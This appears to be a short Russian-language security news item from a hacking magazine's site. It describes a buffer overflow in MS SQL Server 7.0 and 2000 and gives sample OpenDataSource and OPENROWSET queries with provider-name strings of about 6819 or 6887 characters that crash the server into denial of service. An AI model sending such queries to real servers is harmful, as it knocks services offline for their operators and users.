Переполнение буфера в MS SQL Server

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Одна из особенностей Structured Query Language (SQL) в SQL Server 7.0 и 2000 - способность соединяться с удаленными источниками данных,
подключаться к ним можно просто указывая
имя базы (OLE DB) в запросе. Если серверу в
качестве имени передать длинную строку
символов, произойдет переполнение буфера и
как следствие  - полная занятость сервера
и невозможность обслуживать запросы.

Пример:

SQL Server 7

SELECT * FROM OpenDataSource( 'XXXXXXXXXXX...' -> 6819
символов или больше ...
SELECT * FROM OPENROWSET( 'XXXXXXXXXXX...' -> 6819 символов или
больше ,'', '')

SQL Server 2000

SELECT * FROM OpenDataSource( 'XXXXXXXXXXX...' ---> 6887
...
SELECT * FROM OPENROWSET( 'XXXXXXXXXXX...' ---> 6887 ...